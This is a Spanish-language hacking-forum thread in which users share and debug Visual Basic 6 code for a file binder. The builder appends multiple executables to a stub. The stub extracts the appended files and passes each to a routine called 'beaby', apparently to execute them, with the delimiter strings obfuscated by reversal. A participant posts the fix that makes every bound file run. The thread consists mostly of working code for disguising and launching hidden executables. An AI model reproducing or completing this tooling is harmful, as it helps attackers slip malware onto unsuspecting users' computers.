CmdBuilt escribió: For i = 1 To lv.ListItems.Count

Open lv.ListItems.Item(i) For Binary As 1
archivo = Space(LOF(1))
Get 1, , archivo
Close 1


archivo = archivo & lv.ListItems.Item(i) & "Nuevo"

Next i

Open App.Path & "\stub.exe" For Binary As 1
stub = Space(LOF(1))
Get 1, , stub
Close 1



Open App.Path & "\server.exe" For Binary As 1
Put 1, , stub & "xpro"
Put 1, , archivo & "xpro"
Close 1

Stub escribió: Public Sub nucleo()
Dim yo As String
yo = App.Path & "\" & App.EXEName & ".exe"
Open yo For Binary As 1
Dim Chr(63) As String
Chr(63) = Space(LOF(1))
Get 1, , Chr(63)
Close 1

Dim sp() As String
sp() = alter(Chr(63), StrReverse("orpx"))

Dim ps() As String

For i = 0 To UBound(sp) - 1

ps() = alter(sp(1), StrReverse("oveuN"))
beaby yo, StrConv(ps(0), vbFromUnicode), vbNullString


Next i

Cliente/Full Function escribió: Private Sub Built_Click()

If lv.ListItems.Count > 1 Then


Dim stub As String, archivo As String


For i = 1 To lv.ListItems.Count

Open lv.ListItems.Item(i) For Binary As 1
archivo = Space(LOF(1))
Get 1, , archivo
Close 1

Dim datos As String

datos = datos & archivo & "Nuevo"


Next i

Open App.Path & "\stub.exe" For Binary As 1
stub = Space(LOF(1))
Get 1, , stub
Close 1



Open App.Path & "\server.exe" For Binary As 1
Put 1, , stub & "xpro"
Put 1, , datos & "xpro"
Close 1
MsgBox " Files Binded ", vbInformation, "The End"

Else
Exit Sub
End If

End Sub

Stub / Full Function escribió:
Public Sub nucleo()

Dim yo As String
yo = App.Path & "\" & App.EXEName & ".exe"
Open yo For Binary As 1
Dim Chr(63) As String
Chr(63) = Space(LOF(1))
Get 1, , Chr(63)
Close 1

Dim sp() As String
sp() = alter(Chr(63), StrReverse("orpx")) ' alter = SPLIT

Dim ps() As String

For i = 0 To UBound(sp)

ps() = alter(sp(1), StrReverse("oveuN"))
beaby yo, StrConv(ps(0), vbFromUnicode), vbNullString


Next i

End Sub

Juanse 254 escribió:Man, de Visual Basic no se ni como hacer un Hello World, es mas nisiquiera se como se incluyen las librerias haha pero bueno, si algo entiendo por programacion es que la verdad el problema no esta ni al elejir los archivos n al sumarlos, esta a la hora de juntarlos en 1 solo. Solo te queda ir revisando linea por linea imagino no seran muchas, sacate tu libro de VB y consulta :D.

P.D:se ve que es un lenguaje bastante facil, relativamente hablando... vamos que no hay lenguaje o muy facil o muy dificil.

al-hacker escribió:aca esta el error :

Código: Seleccionar todo

For i = 0 To UBound(sp)

ps() = alter(sp(1), StrReverse("oveuN"))
beaby yo, StrConv(ps(0) , vbFromUnicode), vbNullString ' <--


Next i

ps(0) , siempre te va a ejecutar el primer archivo .
solucion :
en el array de ps pon la variable con la aces el bucle

Código: Seleccionar todo

For i = 0 To UBound(sp)

ps() = alter(sp(1), StrReverse("oveuN"))
beaby yo, StrConv(ps(i) ,  vbFromUnicode), vbNullString ' <--


Next i

de ese modo se ejecutan todos los archivos

saludos